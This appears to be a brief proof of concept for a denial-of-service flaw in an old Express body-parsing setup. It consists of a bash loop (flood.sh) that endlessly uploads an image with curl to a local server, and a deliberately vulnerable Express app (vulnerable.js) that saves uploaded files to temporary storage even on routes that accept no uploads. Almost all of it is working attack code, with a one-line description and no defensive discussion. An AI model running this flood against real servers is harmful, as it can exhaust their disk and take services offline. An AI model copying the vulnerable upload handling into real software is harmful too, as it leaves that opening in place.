Fill up the temp file system with trollfaces.

flood.sh

#!/bin/bash

while :
do
    echo "Press [CTRL+C] to stop.."
    curl -i -F image=@trollface.png http://127.0.0.1:3000/
done

vulnerable.js

var express = require('express');
var app = express();

app.use(express.bodyParser());

app.get('/', function(req, res){
  console.log(req.files.image.path);
  res.send("I don't even allow posts!");
});

app.post('/login', function(req, res){
  console.log(req.files.image.path);
  res.send("But I'm just a little login form!");
});

app.listen(3000);